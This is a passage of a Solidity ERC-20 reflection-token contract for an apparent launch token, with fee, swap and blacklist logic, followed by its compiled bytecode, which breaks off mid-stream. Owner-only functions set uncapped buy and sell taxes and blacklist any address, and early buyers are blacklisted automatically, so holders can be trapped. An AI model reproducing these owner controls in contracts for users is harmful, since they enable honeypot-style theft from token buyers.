return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600d81526020017f414e4349454e54204f5244455200000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600781526020017f414e4349454e5400000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b9150509291505